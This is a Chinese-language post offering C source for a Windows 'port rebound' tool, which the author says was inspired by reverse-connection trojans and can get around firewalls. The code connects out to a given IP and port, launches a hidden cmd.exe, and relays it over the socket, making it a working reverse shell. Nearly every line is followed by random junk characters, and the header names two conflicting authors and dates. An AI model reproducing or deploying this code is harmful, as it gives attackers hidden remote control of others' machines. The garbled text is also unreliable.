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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H*rx{F?  
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/* ============================== Pcdf$a"`  
Rebound port in Windows NT LE K/mCL  
By wind,2006/7 0 I @$ 0Gg  
===============================*/ ]26mB  
#include JpmB;aL#%  
#include ]n5"Z,K  
]^ #`j  
#pragma comment(lib,"wsock32.lib") zP&q7 t;>  
[f/.!@sj  
void OutputShell(); um[!|g/  
SOCKET sClient; Q&PB]D{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MRs,l'  
sPy2/7Wqd  
void main(int argc,char **argv) xs%LRF# u  
{ U` hfvTi  
WSADATA stWsaData; 8R}K?+]  
int nRet; @!<d0_dnC  
SOCKADDR_IN stSaiClient,stSaiServer; 72,"Cj  
 U(~U!O}  
if(argc != 3) 4V$fGjJ3  
{ sAYV)w3u"  
printf("Useage:\n\rRebound DestIP DestPort\n"); g4wZvra6%)  
return; VgMP^&/gZ  
} |1l&@#j!2  
|l7%l&!  
WSAStartup(MAKEWORD(2,2),&stWsaData); 4P%m>[   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %iJ|H(P  
*,lh:  
stSaiClient.sin_family = AF_INET; DjwQ`MA  
stSaiClient.sin_port = htons(0); ^=0 $  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9cfR)*Q  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8%ik853`  
{ x2k*| =$  
printf("Bind Socket Failed!\n"); Z>2]Xx% \  
return; HabzCH  
} @Tr&`Hi  
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stSaiServer.sin_family = AF_INET; +9[SVw8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8a>SC$8"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %hINpZMr  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $"8d:N?I[  
{ kXwi{P3D$  
printf("Connect Error!"); {155b0  
return; .GCR!V  
} O@jqdJu  
OutputShell(); S;=_;&68?  
} 1,`H:%z%  
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void OutputShell() }fA;7GW+9  
{ U =cWmH  
char szBuff[1024]; 3SNL5  
SECURITY_ATTRIBUTES stSecurityAttributes; a2yE:16o6  
OSVERSIONINFO stOsversionInfo; eN/G i<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OVR?*"N_  
STARTUPINFO stStartupInfo; 1h=D4yN  
char *szShell; z(H?VfJo  
PROCESS_INFORMATION stProcessInformation; hCC}d0gf`n  
unsigned long lBytesRead; =yqHC<8:  
;S JF%@x  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vZkXt!%)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &U"X $aFc  
stSecurityAttributes.lpSecurityDescriptor = 0; hNbIpi=  
stSecurityAttributes.bInheritHandle = TRUE; >]&X ^V%Q#  
V=}1[^  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eko]H!Ov(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `#6x=24  
|RhM| i  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B:9.e?t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sj-[%D*  
stStartupInfo.wShowWindow = SW_HIDE; IU!Ht>  
stStartupInfo.hStdInput = hReadPipe; kus}W  J  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vM4<d>  
64U6C*w+  
GetVersionEx(&stOsversionInfo); f=aIXhiYU  
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switch(stOsversionInfo.dwPlatformId) S~3\3qt$  
{ mqFq_UX/ T  
case 1: ;&f1vi4  
szShell = "command.com"; ^o d<JD4  
break; 6D/'`  
default: Hk;-5A|9  
szShell = "cmd.exe"; zn)yFnB!TH  
break; Y~qb;N\  
} \VN=Ef\E  
>I<PO.c!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [B9;?G  
'MQ%)hipA  
send(sClient,szMsg,77,0); nQ=aLV+'  
while(1) qLjT.7 .x  
{ z%:&#1)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uLVBM]Qj  
if(lBytesRead) '4u v3)P  
{ !wh&>3~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'fY9a(Xt.  
send(sClient,szBuff,lBytesRead,0); #a,9B-X  
} ({[,$dEa;  
else #I%s 3  
{ -Mf Q&U   
lBytesRead=recv(sClient,szBuff,1024,0); z"379b7cN  
if(lBytesRead<=0) break; $<w)j!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =u|~ <zQw  
} 9DE)S)e8  
} ::"E?CQLV  
i@zY9,b  
return; V3.t;.@  
}
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